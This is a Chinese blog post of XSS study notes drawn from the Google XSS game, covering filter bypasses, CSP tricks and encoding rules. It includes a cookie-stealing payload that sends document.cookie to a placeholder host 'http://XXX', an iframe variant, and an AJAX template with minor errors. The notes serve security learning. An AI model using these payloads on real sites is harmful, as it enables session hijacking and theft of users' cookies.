XSS学习笔记

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS学习笔记相关的知识,希望对你有一定的参考价值。

  本次笔记实例基于google xss game,一个新手强行瞎jb总结一波

 

  本次笔记主要记录以下三点:1.常见XSS绕过。2.常见XSS利用payload。3.XSS编码问题。

  XSS主要考虑以下几个点:可控的输入参数是什么?输出是什么?到底过滤了什么?可控变量追踪与JS调试

常见XSS绕过:

  关键字绕过  宽字节绕过  编码绕过(第三部分讨论)  其它技巧

  1.关键字绕过(最简单的一种,实战中不存在的)

  比如后端过滤了script,就用<scripscriptt>alert(1);</scripscriptt>

  2.宽字节绕过

  宽字节的问题主要是吃掉一个ascii码,主要是吃掉转义符号‘\‘,GB2312、GBK、GB18030、BIG5、Shift_JIS这些宽字节GBK编码第一字节(高字节)的范围是0x81~0xFE,第二字节(低字节)的范围是0x40~0x7E与0x80~0xFE,这样的十六进制表示。而’\‘符号的十六进制表示为0x5C,因此当需要闭合掉双引号的时候,通过在双引号之前加一个0x81~0xFE之间的字符,即可吃掉转义符号,进而闭合双引号。

  其它技巧(跟着大佬的网络安全课程学习到的,感叹大佬技术之6)

  (1)<base>

  注入base标签会使其后的所有url基于base的标签进行解析,<img><link><a><form><script>等。示例:当注入一个标签<base href="http://IP"></base>,之后只需要在IP的服务器上伪造文件名目录一样的文件,即可使<base>之后的标签解析你的文件。

  (2)使用反引号``代替(),绕()过滤,但是``的内容会全部按照字符串进行解析。

  (3)<svg>

  利用<svg>标签的XML编码特性,script标签会先进行html解码,之后再执行。(编码部分详解)

  (4)with

  可以绕过对象’.‘的过滤。with object指定一个对象,当语句组中对象缺少时可以用来参考。比如location.hash = ‘alert();‘  with(location)with(hash)eval(substring(1));会执行弹窗

  (5)/可作为空格

  <script/onload="alert();"></script>

  (6).通过浏览器禁用前端过滤(未实践)

   禁止掉干扰或防御js,利用chrome过滤器特性,在get参数(反射参数)中添加需要禁止的防御js代码,如:

 

&a=%3Cscript%3Evar%20imageData%20=%20{name:%20%22%22};%3Cscript%3E

  (7).强制重新渲染dom树

  有时我们干掉一些防御代码,或者动态插入了dom树之后,不重新渲染页面dom是无法触发我们的攻击代码的,这时候我们需要一些技巧另其强制重载。
最简单的方法是绕过某个外部js的hook,比如页面引入了一个<script src=‘1.js‘>,这时我们在url的参数前使用/?,比如jjj.php?a=asd 改为 jjj.php/?a=asd 这样传参效果是一样的,但是相对路径会hook不到1.js。从而强制重新渲染。

  如果<script>新增加到dom树,不执行,可以考虑通过事件触发解释器。

  (8).CSP

  csp下获取cookie时两个难点,一是禁用内联脚本执行即注入的<script>不执行。2,无法完成跨域请求,即使得到cookie也无法发出去。第二个问题通过link标签,<link rel="prefetch" href="xxx"/>绕过。第一个问题根据我遇见过的题目来说,一般是在网站的其它地方可以留言,然后注入payload,从其它界面外部调用。

 

  2.常见XSS利用payload。

  在此篇文章仅仅介绍几个简单的payload(根据做过的题的例子)

  (1)首先是最简单的一个cookie获取

    var img=document.createElement(‘img‘);

    img.src=‘http://XXX?cookie=‘+escape(document.cookie);

    document.body.appendChild(img);

   (2) 如果想从本页面窃取同域下其它页面的cookie,使用iframe标签。

    首先是注入一个iframe标签<iframe src="相对/绝对路径“ id="iframe"></iframe>

随后注入<script>,payload如下:

    <script>iframe = document.getElementById(‘iframe‘);

        setTimeout(function(){

          //利用上一个payload,将cookie换成iframe.contentDocument.cookie

        },1000);

    使用setTimeout防止执行script时,iframe还没加载完成。通过contentDocument获得iframe的dom树。

  3.XMLHttpRequest

   通过js发起请求的方法(白帽子讲web安全

  (1)通过dom树或是div.innerHTML属性构造一个form,之后通过form.submit();提交。

     (2)通过AJAX,ajax核心是XMLHttpRequest对象。ie下不支持可以使用ActiveXObject

     var url="XXX"

     var poststr="XXX"

     if(window.XMLHttpRequest)

     {

        var ajax=new XMLHttpRequest();

     }

     else if(window.ActiveXObject)

     {  

        var ajax=new ActiveXObject("Mincrosoft.XMLHTTP");

    }

      else return false;

    ajax.onreadystatechange = function(){

      if(readyState == 4 && ajax.status == 200){

        alert(ajax.responseText);//alert(ajax.responseXML);

      }

    }

    ajax.open("POST",url,true);

    ajax.send(poststr);

 

    ajax.open("POST", url, true);

 

    ajax.send(poststr);

    

 3.XSS编码

 参考博客http://or7.me/2017/09/08/xss_charset/

http://www.freebuf.com/articles/web/43285.html

  编码问题的核心是哪种编码在哪个时刻被哪种规则解析,编码分为三种,url,html,js。具体基础看前两个博客。在这里我想总结以前瞎插的时候遇到的一些问题。

  1.javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为“alert”,而“alert”是一个有效的标识符名称,它是能被正常解析的。像圆括号、双引号、单引号等等这些控制字符,在进行JavaScript解析的时候仅会被解码为字符串文本或者上面讲的标识符名称,例如:<script>alert(‘YISRC\u0027)</script>对控制字符单引号进行js编码,解析时\u0027被解码成文本单引号,无法闭合因此不能成功执行。JavaScript解析时只有标识符名称不会被当做字符串,控制字符仅会被解析为标示符名称或者字符串,因此‘\u0027‘被解释成单引号文本,\u0028和\u0029被解释成为圆括号文本,不会变为控制字符被解析执行。 因此,在后端进行了html编码+js编码之后,你再怎么瞎鸡巴插也闭合不了引号。

  2.svg与html编码

  html编码是一种约定好的转义,防止<>等干扰页面布局,但是svg标签会先进行xml解析,因此svg里的html实体编码会执行。 

     

举一个防御的例子

比如用户可以控制某一个事件或链接的值,如<a href="XXX" onclick="alert(‘XXX‘)">testlink</a>, alert内容用户可控,防御的话如何进行编码?

此处先进行html解码,后js解码。如果只html编码,那么js解释器执行时,已经是正常字符串,可以闭合掉双引号。但是如果先html编码,后js编码,html解码后,js再次进行解码,特殊字符“仅仅会作为字符串的一部分,因此不会闭合双引号。

  个人观点,想要真正的玩XSS必须精通,js,html,以及浏览器的各种机制。如果只单单学习XSS的话,那么学到的东西都不过是别人发明的,挖过的,玩烂的。想要真正成为黑客,就得自己发明XSS的方法,跟着别人屁股后面,可以成为会挖洞的安全从业者,但绝对不是真正的黑客,绝不是我的初心。

  

以上是关于XSS学习笔记的主要内容,如果未能解决你的问题,请参考以下文章

学习笔记之xss原理篇

安全牛学习笔记XSS的简述

XSS基础学习

《白帽子讲WEB安全》学习笔记之第3章 跨站脚本攻击(xss)

安全牛学习笔记XSS的利用

安全牛学习笔记XSS-简介跨站脚本检测和常见的攻击利用手段